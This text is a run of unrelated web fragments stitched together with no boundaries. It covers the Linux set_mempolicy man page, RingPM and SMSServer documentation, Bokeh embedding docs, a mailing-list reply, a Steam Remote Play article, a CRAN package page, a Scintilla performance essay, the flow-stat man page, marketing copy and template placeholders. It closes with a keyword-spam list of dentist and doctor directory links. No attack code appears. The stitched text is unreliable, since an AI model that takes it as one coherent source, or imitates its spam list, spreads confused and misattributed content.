set_mempolicy - set default NUMA memory policy for a thread and its children
#include <numaif.h>
long set_mempolicy(int mode, const unsigned long *nodemask,
unsigned long maxnode);
Link with -lnuma.
set_mempolicy() sets the NUMA memory policy of the calling thread, which
consists of a policy mode and zero or more nodes, to the values specified by
the mode, nodemask and maxnode arguments.
A NUMA machine has different memory controllers with different
distances to specific CPUs. The memory policy defines from which node memory
is allocated for the thread.
This system call defines the default policy for the thread. The
thread policy governs allocation of pages in the process's address space
outside of memory ranges controlled by a more specific policy set by
mbind(2). The thread default policy also controls allocation of any
pages for memory-mapped files mapped using the mmap(2) call with the
MAP_PRIVATE flag and that are only read (loaded) from by the thread
and of memory-mapped files mapped using the mmap(2) call with the
MAP_SHARED flag, regardless of the access type. The policy is applied
only when a new page is allocated for the thread. For anonymous memory this
is when the page is first touched by the thread.
The mode argument must specify one of MPOL_DEFAULT,
MPOL_BIND, MPOL_INTERLEAVE, MPOL_PREFERRED, or
MPOL_LOCAL (which are described in detail below). All modes except
MPOL_DEFAULT require the caller to specify the node or nodes to which
the mode applies, via the nodemask argument.
The mode argument may also include an optional mode
flag. The supported mode flags are:
- MPOL_F_STATIC_NODES (since Linux 2.6.26)
- A nonempty nodemask specifies physical node IDs. Linux will not
remap the nodemask when the process moves to a different cpuset
context, nor when the set of nodes allowed by the process's current cpuset
context changes.
- MPOL_F_RELATIVE_NODES (since Linux 2.6.26)
- A nonempty nodemask specifies node IDs that are relative to the set
of node IDs allowed by the process's current cpuset.
nodemask points to a bit mask of node IDs that contains up
to maxnode bits. The bit mask size is rounded to the next multiple of
sizeof(unsigned long), but the kernel will use bits only up to
maxnode. A NULL value of nodemask or a maxnode value of
zero specifies the empty set of nodes. If the value of maxnode is
zero, the nodemask argument is ignored.
Where a nodemask is required, it must contain at least one
node that is on-line, allowed by the process's current cpuset context,
(unless the MPOL_F_STATIC_NODES mode flag is specified), and contains
memory. If the MPOL_F_STATIC_NODES is set in mode and a
required nodemask contains no nodes that are allowed by the process's
current cpuset context, the memory policy reverts to local
allocation. This effectively overrides the specified policy until the
process's cpuset context includes one or more of the nodes specified by
nodemask.
The mode argument must include one of the following
values:
- MPOL_DEFAULT
- This mode specifies that any nondefault thread memory policy be removed,
so that the memory policy "falls back" to the system default
policy. The system default policy is "local
allocation"—that is, allocate memory on the node of the CPU
that triggered the allocation. nodemask must be specified as NULL.
If the "local node" contains no free memory, the system will
attempt to allocate memory from a "near by" node.
- MPOL_BIND
- This mode defines a strict policy that restricts memory allocation to the
nodes specified in nodemask. If nodemask specifies more than
one node, page allocations will come from the node with the lowest numeric
node ID first, until that node contains no free memory. Allocations will
then come from the node with the next highest node ID specified in
nodemask and so forth, until none of the specified nodes contain
free memory. Pages will not be allocated from any node not specified in
the nodemask.
- MPOL_INTERLEAVE
- This mode interleaves page allocations across the nodes specified in
nodemask in numeric node ID order. This optimizes for bandwidth
instead of latency by spreading out pages and memory accesses to those
pages across multiple nodes. However, accesses to a single page will still
be limited to the memory bandwidth of a single node.
- MPOL_PREFERRED
- This mode sets the preferred node for allocation. The kernel will try to
allocate pages from this node first and fall back to "near by"
nodes if the preferred node is low on free memory. If nodemask
specifies more than one node ID, the first node in the mask will be
selected as the preferred node. If the nodemask and maxnode
arguments specify the empty set, then the policy specifies "local
allocation" (like the system default policy discussed above).
- MPOL_LOCAL (since Linux 3.8)
- This mode specifies "local allocation"; the memory is allocated
on the node of the CPU that triggered the allocation (the "local
node"). The nodemask and maxnode arguments must specify
the empty set. If the "local node" is low on free memory, the
kernel will try to allocate memory from other nodes. The kernel will
allocate memory from the "local node" whenever memory for this
node is available. If the "local node" is not allowed by the
process's current cpuset context, the kernel will try to allocate memory
from other nodes. The kernel will allocate memory from the "local
node" whenever it becomes allowed by the process's current cpuset
context.
The thread memory policy is preserved across an execve(2),
and is inherited by child threads created using fork(2) or
clone(2).
On success, set_mempolicy() returns 0; on error, -1 is returned and
errno is set to indicate the error.
- EFAULT
- Part of all of the memory range specified by nodemask and
maxnode points outside your accessible address space.
- EINVAL
- mode is invalid. Or, mode is MPOL_DEFAULT and
nodemask is nonempty, or mode is MPOL_BIND or
MPOL_INTERLEAVE and nodemask is empty. Or, maxnode
specifies more than a page worth of bits. Or, nodemask specifies
one or more node IDs that are greater than the maximum supported node ID.
Or, none of the node IDs specified by nodemask are on-line and
allowed by the process's current cpuset context, or none of the specified
nodes contain memory. Or, the mode argument specified both
MPOL_F_STATIC_NODES and MPOL_F_RELATIVE_NODES.
- ENOMEM
- Insufficient kernel memory was available.
The set_mempolicy() system call was added to the Linux kernel in version
2.6.7.
This system call is Linux-specific.
Memory policy is not remembered if the page is swapped out. When such a page is
paged back in, it will use the policy of the thread or memory range that is in
effect at the time the page is allocated.
For information on library support, see numa(7).
get_mempolicy(2), getcpu(2), mbind(2), mmap(2),
numa(3), cpuset(7), numa(7), numactl(8)
This page is part of release 5.05 of the Linux man-pages project. A
description of the project, information about reporting bugs, and the latest
version of this page, can be found at https://www.kernel.org/doc/man-pages/.


Welcome to our multi-tenant app
Use the links below to navigate to the different tenants
Tenant 1
...
Tenant 2
...
Tenant 3
...


| Number of Classes | Line Coverage | Mutation Coverage | Mutation Score |
|---|---|---|---|
| 2 | 83% | 45% | 50%
Killed: 23
Uncertain: 0
|
| Name | Line Coverage | Mutation Coverage | Mutation Score |
|---|---|---|---|
| DefaultSendGridV4Configurer.java | 90% |
80% |
100%
Killed: 5
Uncertain: 0
|
| SendGridV4Builder.java | 81% |
39% |
44%
Killed: 18
Uncertain: 0
|


South Kensington is both a residential and commercial neighbourhood, with a strong cultural vibe, centrally located between Belgravia, Chelsea, Knightsbridge and Earls' Court.
South Kensington is both a residential and commercial neighbourhood, with a strong cultural vibe, centrally located between Belgravia, Chelsea, Knightsbridge and Earls' Court..
Once called 'bedsit land' due to its popularity amongst students, today's Earl's Court is home to young and ambitious city workers, entrepreneurs, actors, musicians, artists, and young families. It offers a unique slice of London city life accompanied by an authentic village atmosphere.
Our Sherpas provide you unbiased and tailored advice
about rental process, prices and tips on how to save
money, time and hassle!
Organise Skype viewings even from a beach
Get a professional to fight your corner
Avoid nasty clauses in the lease
No more calling or emailing estate agents for search
Unbiased advice on fair rental values
Save money on short-term residences
Rating
Net promoter
score
Average saving using
Sherpa Service
Total rental value
for tenants


Annotation File Utilities Changelog
This is the changelog for the
Annotation File Utilities.
-
Version 3.3 (released September 20, 2011):
-
Improved support for annotations on array creation expressions.
-
Small tweaks to the code and documentation.
-
Version 3.2 (released June 18, 2011):
-
Support source code indexes, in contrast to the bytecode
centric indexes supported so far, which makes it easier for
source code centric tools to emit AFU files.
See Section "Support for source code indexes" in the
manual.
-
Support annotating the bounds of class and method type
parameters and of wildcards, in particular also support
implicit bounds and make them explicit.
Also support adding declaration annotations on type parameters.
-
Better support for anonymous inner classes.
-
Improve handling of already existing annotations, in
particular for generic types.
-
Consistently do matching on methods using the erased signature.
-
Specify annotations on extends and implements clauses.
-
Handle interfaces, enums, etc. like classes.
-
Numerous small bug fixes and improvements.
-
Version 3.1 (released September 18, 2010):
-
Don't duplicate annotations that are in the source already.
-
Add --omit-annotation option to omit a given annotation
(example: @ThisMutable, which is the default and need not be
inserted in source files).
-
Bug fixes related to inner classes, array levels, multiple methods
with same signature but different return type (impossible in Java
code, but can occur in class files), parameter indices.
-
Switch from utilMDE library to
plume-lib.
-
Version 3.0 (released December 21, 2009):
-
Handle meta-annotations.
Previously, the Annotation File Utilities didn't handle meta-annotations
(annotations that are written on an annotation type declaration); in fact,
AFU simply fabricated retention information. Now, meta-annotations are
handled uniformly with other annotations.
-
Distinguish type annotations from declaration annotations.
Previously, AFU assumed that all annotations were type annotations. Now,
this information is looked up from the meta-annotations and is
distinguished in the file format (see below).
-
Read annotations from classfiles.
Previously, AFU created partial information for annotations in an ad hoc
way, and classfile reading did not work. (The focus was on inserting
annotations in class files, not reading annotations from class files.)
Now, classfile reading is operational, and it is often not necessary to
declare annotations in an annotation file. However, if the annotation is
declared in the annotation file, it should be consistent with its
declaration in the class file.
- Changes to annotation file format.
- Indicating meta-annotations
annotation visible @Nullable:
becomes
annotation @Nullable: @Retention(value=RUNTIME)
and if it's a type annotation, it should be
annotation @Nullable: @Retention(value=RUNTIME) @java.lang.annotation.Target(value={TYPE_USE})
- Locations for type and declaration annotations.
If p2.B is a declaration annotation on a method, it is written as before:
method foo(Ljava/util/Set;)V: @p2.B
If p2.B is a type annotation on a method return type, it is written in a
new location:
method foo(Ljava/util/Set;)V:
return: @p2.B
Fields and method parameters are treated similarly, but with
type marker instead of return. So if p2.A is a
declaration annotation targeting the field, while p2.B is a type
annotation on the field, the field would be declared as:
field s: @p2.A
type: @p2.B
Furthermore, inner-type: is permitted only after a keyword
that introduces a type, such as type, return, and
receiver, to prevent confusion (though the file format
becomes slightly more verbose).
- Permit qualified names in several places that only identifiers were
permitted before. This enables use of names that contain periods, such
as inner classes, and also fully-qualified names.
- Permit two shorthands in annotation uses, as in Java. If there is a
single field named "value", then its name may be omitted: @A(1) instead
of @A(value=1). If an array has only one element, the braces may be
omitted: @B(value=1) instead of @B(value={1}). Both
shorthands may be combined: @B(1) instead of @B(value={1}).
-
Version 2.3.3 (released August 18, 2009):
-
Version 2.3.2 (released August 14, 2009):
- Relax file format: receiver may precede parameters (in spec &
implementation), parameters may omit "#" (in implementation only)
-
Version 2.3.1 (released August 12, 2009):
-
Version 2.3 (released July 29, 2009):
- Support -i --in-place argument.
- Fix incorrect array brackets in tests.
- Fix inserting annotations on receivers.
- Improve documentation.
- Improve error handling.
-
Version 2.2 (released December 7, 2008):
- Permit Main to process multiple files at a time.
- Don't re-insert annotations that are already present.
- Add a space before annotation if there isn't one there.
- Fix problems with array syntax; now adheres to the current JSR
308 syntax.
- Improve error handling.
- Code reorganization: remove subdirectories and classes that
added complexity without commensurate functionality.
-
Version 2.1.2 (released April 28, 2008):
Minor updates to the “Annotation File Format Specification” (PDF, HTML).
-
Version 2.1.1 (released May 31, 2007):
Added support for two new annotation target_types; consult the
classfile specification (PDF,
HTML).
-
Version 2.1 (released May 4, 2007):
Modified overall setup of distribution to be easier to understand.
-
Version 2.0 (released May 1, 2007):
Initial public release.
-
Version 1.0 (released March 19, 2007):
Preliminary release.
The
insert-to-annotations-source
tool only
operates on class, field and method signatures.
The original developer (through version 2.1.2) was Jaime Quinonez.


When you work with us,you are part of committed collaborators.
All aspects of our software development process are intergrated,
interactive
and agile.
Our approach unifies design,development and product management
to create exceptional products.
We start each project by understanding
your business goals the user's needs and the product requirements.
Then help translate them into effective and elegants solutions.
Before we sign or write a line of code our team will spend the necessary time needed to understand your product vision.
The outcome of this scoping
session is a
proposal or high level statement of work.
Based on your requirements, we can provide a
complete offering or just the pieces you need.
Our design practice offers a full range of services
including brand strategy, interaction and visual design
and user experience testing.
Throughout your project,
our designers create and implement visual design and
workflows, solicit user feedback and work with you to make
sure what gets built
is what is needed.
All engineers are fluent in the latest enterprise,
mobile
and web development technologies. They collaborate
with your team to write, and improve code on a daily basis,
using proven practices such as test-driven development and
pair programming.
Planning and development is iterative. Because we
are
constantly coding and testing, the products we build
are
always ready to go live.
This iterative process allows
for changes as business
requirements evolve.


Here’s how you’ve made an impact today.
9,362 steps taken 12.7 km traveled
You’ve conserved up to:
And you've burned:


|
{{receiveInfo.receiveCode}}
|
{{receiveInfo.receiveDate}}
|
{{receiveInfo.innerDepartmentInfo.departmentName}}
|
{{receiveInfo.computerMaterialsInfo.computerMaterialsId}}
|
{{receiveInfo.computerMaterialsInfo.computerMaterialsName}}
|
{{receiveInfo.computerMaterialsInfo.computerMaterialsSpecifications}}
|
{{receiveInfo.computerMaterialsCategory.categoryName}}
|
{{receiveInfo.computerMaterialsInfo.computerMaterialsUnit}}
|
{{receiveInfo.receiveQuantity}}
|
{{receiveInfo.receivePrice}}
|
{{receiveInfo.receivePrice}}
|
{{receiveInfo.memo}}
|


The Ring Package Manager (RingPM)¶
In this chapter we will learn about using the Ring Package Manager (RingPM)
RingPM is a tool for discovering, installing and updating Ring packages.
Features¶
The Package Manager uses Semantic Versioning to check compatibility between packages
The Package Manager comes with the next options
Usage : ringpm [command]
Command : search [keywords...]
Command : refresh : Update the Registry (Packages List)
Command : install <packagename> [from <UserName>] [branch <branchname>]
Command : list [-u : check updates]
Command : run <packagename>
Command : update <packagename>
Command : remove <packagename>
Command : format : Delete All Packages
Command : new <packagename>
Command : package : Create package in the current folder
Discovering Packages¶
We can discover new packages using the Search command
Using this command we can search in the RingPM Registry (Packages Index)
The RingPM Registry is a local copy of all registred packages.
ringpm search [keywords...]
Example:
ringpm search notepad
Output:
Package : ringnotepad (Ring Notepad)
Package : notepadppeditorextension (Notepad++ Editor Extension package)
To print all packages in the RingPM Registry, use the search command without keywords.
Example:
ringpm search
Updating the RingPM Registry¶
The RingPM Registry is a local copy of all registred packages.
We can update the local copy using the Refresh command
Example:
ringpm refresh
Output:
No updates to the Registry, Nothing to do!
Or
The Registry is updated from revision 110 (2019/01/13) to revision 112 (2019/01/15)
Installing Packages¶
We can install new packages using the Install command
ringpm install <packagename> [from <UserName>] [branch <branchname>]
We can type only the package name to get the package information from the RingPM Registry or we can determine the user name (GitHub) and the branch name of the github project (optional).
Example (1) :
ringpm install ringnotepad
Example (2) :
ringpm install goldmagic800
Example (3) :
ringpm install gameoflife
Printing List of Installed Packages¶
We can know the installed packages using the List command
ringpm list [-u : check updates]
Example
ringpm list
Output
(analogclock) : The AnalogClock Package [master] -- (1.0.0)
(androidringlibsdl) : The AndroidRingLibSDL Package [master] -- (1.0.0)
(androidringqt) : The AndroidRingQt Package [master] -- (1.0.0)
(atomeditorextension) : The AtomEditorExtension Package [master] -- (1.0.0)
(bignumber) : The BigNumber Package [master] -- (1.0.0)
(calculator) : The Calculator Package [master] -- (1.0.0)
(cards) : The Cards Package [master] -- (1.0.0)
(checkers) : The Checkers Package [master] -- (1.0.0)
(chess) : The Chess Package [master] -- (1.0.0)
....
To check for new updates
ringpm list -u
Run Package¶
After installing a package, we can run it using the Run command.
ringpm run <packagename>
Example(1):
ringpm run ringnotepad
Example(2):
ringpm run goldmagic800
Example(3):
ringpm run gameoflife
Update Package¶
We can update a package using the Update command
ringpm update <packagename>
Example:
ringpm update ringnotepad
Remove Package¶
We can remove a package using the Remove command
ringpm remove <packagename>
Example:
ringpm remove ringnotepad
Creating New Package¶
We can create new package using the New command
ringpm new <packagename>
Example:
ringpm new myapp
This will create new folder called my myapp
The new folder will contains the next file
- package.ring : The package description and files
- main.ring : main program (used by the Run command)
- lib.ring : library file for the package
Create Package in the Current Folder¶
To create a package for an application that already exists, go to the application folder then type
ringpm package
This will create the package file (package.ring) and will add all of the application files in the package definition.


With this interface, SMSServer uses three database tables to do its job:
SMSServer database interface was developed and tested with:
It was also reported to work with PostgreSQL.
This table should be named smsserver_in, unless specified otherwise in the configuration file. SMSServer will read inbound messages from your gateway(s) and will insert them in this table. The table structure should be as follows:
| Field Name | Type | Technical Info | Description |
| id | INT | Autonumber/identity field | The table's primary key. |
| process | INT | NOT NULL | When new rows (i.e. messages) are created, SMSServer sets this field to 0. You can use this field for your own purposes. |
| originator | CHAR(16) | NOT NULL | The originator of the received message. |
| type | CHAR(1) | NOT NULL | "I" for inbound message, "S" for status report message. |
| encoding | CHAR(1) | NOT NULL | "7" for 7bit, "8" for 8bit and "U" for Unicode/UCS2. |
| message_date | DATETIME | NOT NULL | The message date (retrieved by the message headers). |
| receive_date | DATETIME | NOT NULL | The datetime when message was received. |
| text | CHAR(xxx) | NOT NULL | The body of the message. |
| original_ref_no | CHAR(64) | NULL | Available only for status report messages: refers to the RefNo of the original outbound message. |
| original_receive_date | DATETIME | NULL | Available only for status report messages: refers to the receive date of the original outbound message. |
| gateway_id | CHAR(64) | NOT NULL | The ID of the gateway from which the message was received. |
This table should be named smsserver_out , unless specified otherwise in the configuration file. SMSServer will read rows from this table and will dispatch them from your gateway(s). The table structure should be as follows:
| Field Name | Type | Technical Info | Description |
| id | INT | Autonumber/identity field | The table's primary key. |
| type | CHAR(1) | NOT NULL | The message type. This should be "O" for normal outbound messages, or "W" for wap si messages. |
| recipient | CHAR(16) | NOT NULL | The recipient's number to whom the message should be sent. |
| text | CHAR(xxx) | NOT NULL | The message text. |
| wap_url | CHAR(xxx) | NOT NULL for WAP SI messages! | The WAP SI URL address. |
| wap_expiry_date | DATETIME | NULL | The WAP SI expiry date. If no value is given, SMSServer will calculate a 7 day ahead expiry date. |
| wap_signal | CHAR(1) | NULL | The WAP SI signal. Use "N" for NONE, "L" for LOW, "M" for MEDIUM, "H" for HIGH, "D" for DELETE. If no value/invalid value is given, the NONE signal will be used. |
| create_date | DATETIME | NOT NULL, Default value: current date/time | The datetime when this record was created. |
| originator | CHAR(16) | NOT NULL, Default value: '' | The originator. Normally you should leave this blank. |
| encoding | CHAR(1) | NOT NULL, Default value: '7' | "7" for 7bit, "8" for 8bit and "U" for Unicode/UCS2. |
| status_report | INT | NOT NULL, Default value: 0 | Set to 1 if you require a status report message to be generated. |
| flash_sms | INT | NOT NULL, Default value: 0 | Set to 1 if you require your message to be sent as a flash message. |
| src_port | INT | NOT NULL, Default value: -1 | Set to source port (for midlets) |
| dst_port | INT | NOT NULL, Default value: -1 | Set to destination port (for midlets) |
| sent_date | DATETIME | NULL | The sent date. This field is updated by SMSServer when it sends your message. |
| ref_no | CHAR(64) | NULL | The Reference ID of your message. This field is updated by SMSServer when it sends your message. |
| priority | INT | NOT NULL, Default value: 0 | Lower (or negative) values mean lower priority than higher (or positive) values. By convention, a priority of a value 0 (zero) is considered the normal priority. High priority messages get sent first than others. |
| status | CHAR(1) | NOT NULL, Default value "U" | "U" : unsent, "Q" : queued, "S" : sent, "F" : failed. This field is updated by SMSServer when it sends your message. If set in the configuration file, this field takes extra values depending on the received status report message: "D" : delivered, "P" : pending, "A" : aborted. |
| errors | INT | NOT NULL, Default value: 0 | The number of retries SMSServer did to send your message. This field is updated by SMSServer. |
| gateway_id | CHAR(64) | NOT NULL, Default value is the star character | Set it to the star character if you want to leave to SMSServer the decision as to which gateway to use to send your message. Set it to a specific Gateway ID to force SMSServer to send your message via this gateway. |
This table should be named smsserver_calls , unless specified otherwise in the configuration file. SMSServer will use this table for logging all voice calls it receives (and eventually drops). SMSServer always creates and never deletes records in this table. The table structure should be as follows:
| Field Name | Type | Technical Info | Description |
| id | INT | Autonumber/identity field | The table's primary key. |
| call_date | DATETIME | NOT NULL | The date/time of the received call. |
| gateway_id | CHAR(64) | NOT NULL | The id of the gateway which received the call. |
| caller_id | CHAR(16) | NOT NULL | The caller id. |
This interface requires the following configuration settings:
| Option | Description |
| url | The URL of the database which hosts SMSServer tables. |
| driver | The database driver class. |
| username | The database username. |
| password | The database password. |
| type | Allowed values: "mssql" for MS SQL Server, "mysql" for MySQL, "oracle" for Oracle. |
| tables.sms_in | This is the name of the "smsserver_in" table, should you choose to name it differently. |
| tables.sms_out | This is the name of the "smsserver_out" table, should you choose to name it differently. |
| tables.calls | This is the name of the "smsserver_calls" table, should you choose to name it differently. |
| batch_size | Maximum number of messages to send from the database at each processing cycle |
| retries | This setting defines the number of retries SMSServer should give a failing-to-be-sent message before it decides to really mark it as a "failed" one and leave it aside. |
| update_outbound_on_statusreport | Default is "no". If set to "yes", SMSServer will automatically update the status field of the outbound table (smsserver_out) according to the status of the relevant status report messages it receives. So in order to activate this feature set the above setting to "yes" and make sure you request status reports for all of your outbound messages. |
Example:
interface.0=db1, Database
db1.url=jdbc:sqlserver://localhost:1433;SelectMethod=cursor;DatabaseName=smslib
db1.driver=com.microsoft.sqlserver.jdbc.SQLServerDriver
db1.username=smslib
db1.password=smslib
db1.type=mssql
db1.tables.sms_in=smssvr_in
db1.tables.sms_out=smssvr_out
db1.tables.calls=smssvr_calls
db1.batch_size=50
db1.retries=2
db1.update_outbound_on_statusreport=yes
misc\SMSServer Database Scripts
" directory.


bokeh.embed
¶
Provide functions to embed Bokeh models (e.g., plots, widget, layouts) in various different ways.
There are a number of different combinations of options when embedding Bokeh plots. The data for the plot can be contained in the document, or on a Bokeh server, or in a sidecar JavaScript file. Likewise, BokehJS may be inlined in the document, or loaded from CDN or a Bokeh server.
The functions in bokeh.embed
provide functionality to embed in all
these different cases.
-
autoload_server
(model, app_path='/', session_id=None, url='default')¶ Return a script tag that embeds the given model (or entire Document) from a Bokeh server session.
In a typical deployment, each browser tab connecting to a Bokeh application will have its own unique session ID. The session ID identifies a unique Document instance for each session (so the state of the Document can be different in every tab).
If you call
autoload_server(model=None)
, you’ll embed the entire Document for a freshly-generated session ID. Typically, you should callautoload_server()
again for each page load so that every new browser tab gets its own session.Sometimes when doodling around on a local machine, it’s fine to set
session_id
to something human-readable such as"default"
. That way you can easily reload the same session each time and keep your state. But don’t do this in production!In some applications, you may want to “set up” the session before you embed it. For example, you might
session = bokeh.client.pull_session()
to load up a session, modifysession.document
in some way (perhaps adding per-user data?), and then callautoload_server(model=None, session_id=session.id)
. The session ID obtained frompull_session()
can be passed toautoload_server()
.Parameters: - model (Model) – the object to render from the session, or None for entire document
- app_path (str, optional) – the server path to the app we want to load
- session_id (str, optional) – server session ID (default: None) If None, let the server autogenerate a random session ID. If you supply a specific model to render, you must also supply the session ID containing that model, though.
- url (str, optional) – server root URL (where static resources live, not where a specific app lives)
Returns: a


[gecode-users] What are complete domain representation sets?
Guido Tack
tack at ps.uni-sb.de
Tue Mar 4 09:27:53 CET 2008
Mauricio Toro wrote:
> What are complete domain representation sets?
> Where can I find information about that?
It's the technique presented in this paper:
P.J. Hawkins, V. Lagoon, and P.J. Stuckey, Solving Set Constraint
Satisfaction Problems using ROBDDs, Journal of Artificial Intelligence
Research Volume 24, pages 109-156, 2005
http://www.jair.org/media/1638/live-1638-2400-jair.pdf
Cheers,
Guido
-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2436 bytes
Desc: not available
URL: <http://www.ps.uni-sb.de/pipermail/users/attachments/20080304/7454559e/attachment.bin>
More information about the gecode-users
mailing list


Steam Remote Play Together launches today, taking couch co-op online
Follow Polygon online:
by Owen S. GoodSteam Remote Play Together, a feature that connects friends to play local multiplayer games online, launched today after a monthlong beta test. The full launch extends remote local multiplayer to iOS and Android devices using the Steam Link app.
Steam Remote Play Together, ideal for couch co-op games like Enter the Gungeon, Cuphead, or Wilmot’s Warehouse, joins up to four players and “even more in ideal conditions,” Valve said. Only the host needs to own the game, too.
For those needing suggestions on what games work best with Remote Play Together, Valve kicked off a streaming event at noon, running to 8 p.m. EST. There is also a sales event featuring Steam’s usual deep discounts applied to many local multiplayer-friendly titles and franchises.
The feature is initiated with the Remote Play Together icon in the host’s friends’ list. Simply click on it to invite them. The game should behave on the host’s device as if all the invited players had a controller plugged into it. The other players will only be able to see the game, not the host’s desktop or overlays.


Designed for association studies in nested association mapping (NAM) panels, experimental and random panels. The method is described by Xavier et al. (2015) <doi:10.1093/bioinformatics/btv448>. It includes tools for genome-wide associations of multiple populations, marker quality control, population genetics analysis, genome-wide prediction, solving mixed models and finding variance components through likelihood and Bayesian methods.
| Version: | 1.6.4 |
| Depends: | R (≥ 3.2.0) |
| Imports: | Rcpp, randomForest |
| LinkingTo: | Rcpp |
| Suggests: | knitr, rmarkdown, lme4 |
| Published: | 2018-09-29 |
| Author: | Alencar Xavier, William Muir, Katy Rainey, Shizhong Xu. |
| Maintainer: | Alencar Xavier <alenxav at gmail.com> |
| License: | GPL-3 |
| NeedsCompilation: | yes |
| Citation: | NAM citation info |
| CRAN checks: | NAM results |
| Reference manual: | NAM.pdf |
| Vignettes: |
Introduction to NAM Background for Meta-analysis |
| Package source: | NAM_1.6.4.tar.gz |
| Windows binaries: | r-devel: NAM_1.6.4.zip, r-release: NAM_1.6.4.zip, r-oldrel: NAM_1.6.4.zip |
| OS X binaries: | r-release: NAM_1.6.4.tgz, r-oldrel: NAM_1.6.4.tgz |
| Old sources: | NAM archive |
| Reverse imports: | SoyNAM |
Please use the canonical form https://CRAN.R-project.org/package=NAM to link to this page.


{{title}}
{{body}}
Hefur {{hefur_version}}
is free software licensed under MIT: you are free to change and redistribute it.
Uptime: {{hefur_uptime}}


Scintilla performs reasonably well now for a wide range of applications. There are, however, some aspects that could be usefully sped up, such as the highlighting of indentation guides as the caret moves next to nesting operators. Other features, such as dynamic word wrapping, have not been attempted because they are seen as requiring much processing, thus slowing down the editor significantly.
Profiling of code commonly reveals that small pieces of code greatly limit the performance of a whole component or application and that the particular pieces of code limiting performance are often unexpected.
Testing performance of code within a working application is often complex. While the whole application should perform efficiently there are often so many interacting elements that it is hard to isolate the code responsible for limiting performance. GUI applications are especially hard to profile well as the underlying graphics subsystems of modern GUIs are highly asynchronous, delaying the processing of graphics instructions until some (often unexpected) call requires a graphics state synchronisation. Turning on synchronous processing leads to even more difficulties as performance slows down by a large factor and emphasizes the cost of making calls rather than the cost of the processing done by those calls.
Benchmarks can be performed on isolated pieces of code, calling these pieces enough times to ensure accurate timings. GUI code can be repeated and then a final synchronising call made and included in the timings to get a true idea of how expensive that code is. To ensure that concentrating on the details doesn't lead to unexpected performance problems with the whole editor, there should also be some performance testing of whole applications.
There has already been one positive outcome of performance testing of isolated components within SinkWorld. The test split buffer implementation showed that choosing poor parameters and using a linear growth strategy for growing the buffer size led to very slow performance for large documents. Changing to an exponential growth strategy improved speed greatly. Scintilla was modified to use an exponential growth strategy with the result being that loading a 30 Megabyte file now takes 25 seconds as against 1000 before which is a very worthwhile speed up.
The unit testing frameworks are good starting points for performance tests. Often they will report overall times for running the unit tests and this is a good check that performance is not regressing. The duration of operations can also be made part of the unit tests. If an insertion takes twice as long in a new version than previously then, in the absence of justifications, that is a bug just as much as if the insertion overflowed an array.
Porting Scintilla to the JVM and .NET results in a different set of performance issues than the current unmanaged code. C++ includes mechanisms, such as inline methods, that make it possible to write very fast code. Even when there are several apparent layers involved in accessing data, the compiler can often analyse the code and determine that some of the layers can be eliminated in the compiled code. Managed code environments can sometimes discover this information at run time, but as there is less time allowed to optimise the code with a just-in-time compiler, these optimisations may not be performed or may be performed poorly.
Managed execution involves more overhead than unmanaged execution as array accesses are checked to ensure they are made within the bounds of the arrays and object accesses are checked for correct typing and for security. As a very rough guide, on average, Java is often about one third of the speed of C++ in my experience. Individual tests may be much slower than this or much faster, sometimes even exceeding the speed of C++. C# on .NET is only available in a beta form and so its speed, which is currently slow on many operations, can not fairly be evaluated yet. Microsoft claims that the release version will be within 10% of C++ performance although I am sceptical of this figure.
As mentioned of the flexibility page, software can be built with a combination of a high level language for most code with a low level language used for performance critical code. When doing this it is important to understand where the performance bottlenecks are so they can be examined to see if they can be improved with a better algorithm or by recoding in a low level language.


flow-stat [-hnpPw] [-d debug_level] [-f format] [-S sort_field] [-s sort_field] [-t tally_lines] [-T title]
The flow-stat utility generates usage reports for flow data sets by IP address, IP address pairs, ports, packets, bytes, interfaces, next hops, autonomous systems, ToS bits, exporters, and tags.
Enable debugging.
Report format. Choose from the following:
0 Overall Summary
1 Average packet size distribution
2 Packets per flow distribution
3 Octets per flow distribution
4 Bandwidth per flow distribution
5 UDP/TCP destination port
6 UDP/TCP source port
7 UDP/TCP port
8 Destination IP
9 Source IP
10 Source/Destination IP
11 Source or Destination IP
12 IP protocol
13 octets for flow duration plot data
14 packets for flow duration plot data
15 short summary
16 IP Next Hop
17 Input interface
18 Output interface
19 Source AS
20 Destination AS
21 Source/Destination AS
22 IP ToS
23 Input/Output Interface
24 Source Prefix
25 Destination Prefix
26 Source/Destination Prefix
27 Exporter IP
28 Engine Id
29 Engine Type
30 Source Tag
31 Destination Tag
32 Source/Destination Tag
Display help.
Use symbolic names where appropriate.
Display header information.
Report as percent total.
Sort ascending on field sort_field.
Sort descending on field sort_field.
Tally totals every tally_lineslines.
Set report title to title.
Wide output.
Many times a campus network will have a single border router which has one interface pointing to the internal side and many interfaces pointing to other providers. These interfaces each have a unique numerical id known in SNMP terms as an ifIndex. The ifIndex to interface name mappings can be determined by using a tool such as snmpwalk or using show commands in recent versions of IOS with the 'show snmp mib ifmib ifindex' or JunOS 'show interfaces'. Once the ifIndex for each interface is known flow-filter can be combined with flow-stat to provide reports such as inbound vs outbound top src/destination IP addresses. Provide a top source IP address report by outbound traffic, ie the top senders of traffic on the campus network. Assume the ifIndex of the campus interface is 5.
flow-cat -p /flows/krc4 | flow-filter -i5 | flow-stat -f9 -P -p -S3


If you can see this, it means that the installation of the Apache web server software on this system was successful. You may now add content to this directory and replace this page.
This page is here because the site administrator has changed the configuration of this web server. Please contact the person responsible for maintaining this server with questions. The Apache Software Foundation, which wrote the web server software this site administrator is using, has nothing to do with maintaining this site and cannot help resolve configuration issues.
The Apache documentation is available online or has been installed locally.
You are free to use the image below on an Apache-powered web server. Thanks for using Apache!


-
discounts on avis rental cars
Abingdon Dentists | Dentists in Abingdon, VA - YP.com
Results 1 - 30 of 40 . 40 listings of Dentists in Abingdon on YP.com. Find reviews, directions & phone numbers for the best dentists in Abingdon, VA.
http://www.yellowpages.com/abingdon-va/dentists
-
reverse polarity electric test meters
Doctors in Abingdon VA (Virginia Physicians)
Free doctor reports about Virginia doctors in Abingdon, VA. . Abingdon, VA 24210. Rate this Doctor. Add to Compare Compare Get Report View Profile .
http://www.ucomparehealthcare.com/drs/virginia/ABINGDON.html
-
myob pocket pc nor
Orthopedic Surgeons in Abingdon (VA Orthopedic Surgery)
Virginia Orthopedic Surgeons in Abingdon VA free doctor reports. Compare information on local Abingdon Orthopedic Surgery doctors.
http://www.ucomparehealthcare.com/drs/virginia/orthopedic_surgery/Abingdon.html
-
honolulu greek fest details
Virginia Health Care Foundation | Dental Care
